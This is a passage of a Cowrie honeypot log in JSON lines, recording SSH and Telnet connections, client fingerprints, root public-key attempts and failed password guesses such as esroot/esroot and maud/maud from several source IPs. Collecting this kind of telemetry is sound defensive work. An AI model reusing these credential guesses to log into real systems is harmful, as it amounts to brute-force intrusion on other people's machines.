{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:03:48.334777Z","src_ip":"45.156.87.204","session":"37a7e49061de","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"esroot","password":"esroot","message":"login attempt [esroot/esroot] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:03:48.584763Z","src_ip":"45.156.87.204","session":"37a7e49061de","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:03:49.668443Z","src_ip":"45.156.87.204","session":"37a7e49061de","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":41826,"dst_ip":"10.17.0.5","dst_port":23,"session":"c73f128e9281","protocol":"telnet","message":"New connection: 152.42.224.71:41826 (10.17.0.5:23) [session: c73f128e9281]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:03:49.854018Z"}
{"eventid":"cowrie.session.connect","src_ip":"94.26.106.229","src_port":65244,"dst_ip":"159.203.135.109","dst_port":22,"session":"454166d95ff7","protocol":"ssh","message":"New connection: 94.26.106.229:65244 (159.203.135.109:22) [session: 454166d95ff7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:03:51.588755Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:03:51.593871Z","src_ip":"94.26.106.229","session":"454166d95ff7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:03:51.677300Z","src_ip":"94.26.106.229","session":"454166d95ff7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":44236,"dst_ip":"159.203.135.109","dst_port":22,"session":"a6a94a243717","protocol":"ssh","message":"New connection: 45.156.87.204:44236 (159.203.135.109:22) [session: a6a94a243717]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:03:51.823746Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:03:51.828747Z","src_ip":"45.156.87.204","session":"a6a94a243717","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:03:51.915854Z","src_ip":"45.156.87.204","session":"a6a94a243717","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"maud","password":"maud","message":"login attempt [maud/maud] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:03:51.927473Z","src_ip":"94.26.106.229","session":"454166d95ff7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"leonardo","password":"leonardo","message":"login attempt [leonardo/leonardo] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:03:52.162577Z","src_ip":"45.156.87.204","session":"a6a94a243717","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:03:53.013663Z","src_ip":"94.26.106.229","session":"454166d95ff7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:03:53.247070Z","src_ip":"45.156.87.204","session":"a6a94a243717","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":41842,"dst_ip":"10.17.0.5","dst_port":23,"session":"80d30e760b53","protocol":"telnet","message":"New connection: 152.42.224.71:41842 (10.17.0.5:23) [session: 80d30e760b53]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:03:53.288295Z"}
{"eventid":"cowrie.session.connect","src_ip":"130.185.222.46","src_port":40434,"dst_ip":"10.17.0.5","dst_port":22,"session":"812849f9676a","protocol":"ssh","message":"New connection: 130.185.222.46:40434 (10.17.0.5:22) [session: 812849f9676a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:03:53.361775Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:03:53.366612Z","src_ip":"130.185.222.46","session":"812849f9676a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:03:53.497626Z","src_ip":"130.185.222.46","session":"812849f9676a","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"23:2e:a0:ac:37:dc:ef:c3:f1:2c:14:9f:8f:90:c5:3c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC8tiHuLOjRCgckyX8NRJpfOurOvsTEi2uHdom6xMMU2jrcWj1WRpNWlLg5Vl6QSnPgirZdHzS0vHvdf6d1oKeet4zejlhYcWEqdcUCCEHk7ObaqwIr5KjuzEGyon1XgVmd5FSaIP52y8b04+cK56Ay9QAT+zCtkhYEqyJ39Id3tyM2oys2nqP4G12AcUITBSoAoVfZ6b00LO1nWLl83/pGFKL07FKagai5kURzvmKJq3KaJmjiMRwY9sDeeUhCJ4WhVuvPpYxEgAU/eAJbH895FlIvgLemvYEi5o0kc/5H4Ka6EVIOOKMbB+EBXrrY5RqMBdyJFxpUdOnC1IQgC7QF","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 23:2e:a0:ac:37:dc:ef:c3:f1:2c:14:9f:8f:90:c5:3c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:03:54.063522Z","src_ip":"130.185.222.46","session":"812849f9676a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"23:2e:a0:ac:37:dc:ef:c3:f1:2c:14:9f:8f:90:c5:3c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC8tiHuLOjRCgckyX8NRJpfOurOvsTEi2uHdom6xMMU2jrcWj1WRpNWlLg5Vl6QSnPgirZdHzS0vHvdf6d1oKeet4zejlhYcWEqdcUCCEHk7ObaqwIr5KjuzEGyon1XgVmd5FSaIP52y8b04+cK56Ay9QAT+zCtkhYEqyJ39Id3tyM2oys2nqP4G12AcUITBSoAoVfZ6b00LO1nWLl83/pGFKL07FKagai5kURzvmKJq3KaJmjiMRwY9sDeeUhCJ4WhVuvPpYxEgAU/eAJbH895FlIvgLemvYEi5o0kc/5H4Ka6EVIOOKMbB+EBXrrY5RqMBdyJFxpUdOnC1IQgC7QF","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:03:54.067587Z","src_ip":"130.185.222.46","session":"812849f9676a","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"de:fa:88:5d:e6:e4:e0:1b:17:03:e2:d5:74:3a:4b:b6","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIKWVrc4N4kZulykKjkOUP0QfoNi+IbOMQ3+vC0liMQuy","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint de:fa:88:5d:e6:e4:e0:1b:17:03:e2:d5:74:3a:4b:b6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:03:54.186823Z","src_ip":"130.185.222.46","session":"812849f9676a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"de:fa:88:5d:e6:e4:e0:1b:17:03:e2:d5:74:3a:4b:b6","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIKWVrc4N4kZulykKjkOUP0QfoNi+IbOMQ3+vC0liMQuy","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:03:54.190782Z","src_ip":"130.185.222.46","session":"812849f9676a","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"12:91:af:a9:f9:43:ed:15:95:5b:f1:4a:ea:b8:dc:ff","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAowuzynVcUeAydH/za4TjIt/wwqQk6cnZbnYJ2t9HDBieONkrlBmKRbBsH6RmE9NarsiWQzOsDqFJZfAM02fvC7qhwlrysWYIOE1/4drACRE5MC+z05MkFOXFD7gVOrChhgM6eT9BH9qkSV8+4ihXlvr8xWjs2zCissnkOBAc53PFIRSf/dZB+1npmIRhDKbttm17iL5vEsOxc2j5fyVWPEIRps226DT5H2JnDRB791Hkw1eJsq8cpyO6c8o2opCccwEiGXd5ywVNpif+mPpEX0UvL5gJr3jGniprdr0DTan5Br2rlUB/TfJAmu7JxjNzo/9XRgKgBLirc0d5otZ/TQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 12:91:af:a9:f9:43:ed:15:95:5b:f1:4a:ea:b8:dc:ff","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:03:54.310669Z","src_ip":"130.185.222.46","session":"812849f9676a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"12:91:af:a9:f9:43:ed:15:95:5b:f1:4a:ea:b8:dc:ff","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAowuzynVcUeAydH/za4TjIt/wwqQk6cnZbnYJ2t9HDBieONkrlBmKRbBsH6RmE9NarsiWQzOsDqFJZfAM02fvC7qhwlrysWYIOE1/4drACRE5MC+z05MkFOXFD7gVOrChhgM6eT9BH9qkSV8+4ihXlvr8xWjs2zCissnkOBAc53PFIRSf/dZB+1npmIRhDKbttm17iL5vEsOxc2j5fyVWPEIRps226DT5H2JnDRB791Hkw1eJsq8cpyO6c8o2opCccwEiGXd5ywVNpif+mPpEX0UvL5gJr3jGniprdr0DTan5Br2rlUB/TfJAmu7JxjNzo/9XRgKgBLirc0d5otZ/TQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:03:54.314355Z","src_ip":"130.185.222.46","session":"812849f9676a","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"cb:9e:37:d8:aa:c8:2e:a3:98:1f:41:0e:9d:c3:18:67","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA5tayMpa/4Q+YEt5Mrv4Vj92vUumGacWg5UhX6STv8JaNIsL0YBJg7PFqXGVRwa0BJ+QKDsbGlJRwiYB7wlR9UaZdARZPe09R+QPtOkOp+wmjMUTWlERcmqqUACy/kXkSEX0lh5EA7Uugg+cBO13RSCH5kKnkq/YstEHBmCtJm6E31QnfAMbIYsRX1n/ffXtFASribPIrIJl86pp+jVv6melPw3KEkBxwEJDJxV/VuKknj3FX7XwdzbedgdFssJ37/9NIlm1ngKJxniF/W8B6btIRDcvfPJ9NodnNaJsgEDzqPqg/dkikMj4+LfydKxRD/dcLfWpddJ8lVYeDBtD6Uw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint cb:9e:37:d8:aa:c8:2e:a3:98:1f:41:0e:9d:c3:18:67","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:03:54.432675Z","src_ip":"130.185.222.46","session":"812849f9676a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"cb:9e:37:d8:aa:c8:2e:a3:98:1f:41:0e:9d:c3:18:67","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA5tayMpa/4Q+YEt5Mrv4Vj92vUumGacWg5UhX6STv8JaNIsL0YBJg7PFqXGVRwa0BJ+QKDsbGlJRwiYB7wlR9UaZdARZPe09R+QPtOkOp+wmjMUTWlERcmqqUACy/kXkSEX0lh5EA7Uugg+cBO13RSCH5kKnkq/YstEHBmCtJm6E31QnfAMbIYsRX1n/ffXtFASribPIrIJl86pp+jVv6melPw3KEkBxwEJDJxV/VuKknj3FX7XwdzbedgdFssJ37/9NIlm1ngKJxniF/W8B6btIRDcvfPJ9NodnNaJsgEDzqPqg/dkikMj4+LfydKxRD/dcLfWpddJ8lVYeDBtD6Uw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:03:54.436382Z","src_ip":"130.185.222.46","session":"812849f9676a","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"bc:ba:79:21:c3:b9:3f:2b:72:7d:ae:c3:d6:0a:69:45","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDJ4xWzPTXG2JBglpGLqIXkGD3qcd6fCK/1exKVL5LswZyLyWsHuIQMZHbKZZRdlrwN45yZiJEuwW+LwVslBzftQOIEUANkgwHiDqHim0ZaJL4oOOPI8ZS8DtUrOSSp0Piu7kZKdDHq5Br3BET+KwGIcf1hx/Bnj6mZ7sTdymwtc7fXtWBxkqJ2/8TQYmnCZ27r8JT+l+CgLzK1G7BUGPmZBooppEVB89a4JmdyOhG6xZkmLzZjMQtZa0mGiBfi0G3UgD+bwkSksHRUOCwpiZj52icFbNpxCn6uU2MonHSqKFbAefEAuZiTDuHOUq+Cc7c98a5KNYWW8vjV4uNt/PBv","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint bc:ba:79:21:c3:b9:3f:2b:72:7d:ae:c3:d6:0a:69:45","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:03:54.555049Z","src_ip":"130.185.222.46","session":"812849f9676a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"bc:ba:79:21:c3:b9:3f:2b:72:7d:ae:c3:d6:0a:69:45","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDJ4xWzPTXG2JBglpGLqIXkGD3qcd6fCK/1exKVL5LswZyLyWsHuIQMZHbKZZRdlrwN45yZiJEuwW+LwVslBzftQOIEUANkgwHiDqHim0ZaJL4oOOPI8ZS8DtUrOSSp0Piu7kZKdDHq5Br3BET+KwGIcf1hx/Bnj6mZ7sTdymwtc7fXtWBxkqJ2/8TQYmnCZ27r8JT+l+CgLzK1G7BUGPmZBooppEVB89a4JmdyOhG6xZkmLzZjMQtZa0mGiBfi0G3UgD+bwkSksHRUOCwpiZj52icFbNpxCn6uU2MonHSqKFbAefEAuZiTDuHOUq+Cc7c98a5KNYWW8vjV4uNt/PBv","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:03:54.558889Z","src_ip":"130.185.222.46","session":"812849f9676a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:03:54.677642Z","src_ip":"130.185.222.46","session":"812849f9676a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":44650,"dst_ip":"159.203.135.109","dst_port":22,"session":"0b6ca9bace10","protocol":"ssh","message":"New connection: 45.156.87.204:44650 (159.203.135.109:22) [session: 0b6ca9bace10]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:03:55.638229Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:03:55.694943Z","src_ip":"45.156.87.204","session":"0b6ca9bace10","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:03:55.779991Z","src_ip":"45.156.87.204","session":"0b6ca9bace10","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.26.106.229","src_port":63814,"dst_ip":"159.203.135.109","dst_port":22,"session":"399ac6793879","protocol":"ssh","message":"New connection: 94.26.106.229:63814 (159.203.135.109:22) [session: 399ac6793879]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:03:55.860079Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:03:55.869478Z","src_ip":"94.26.106.229","session":"399ac6793879","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-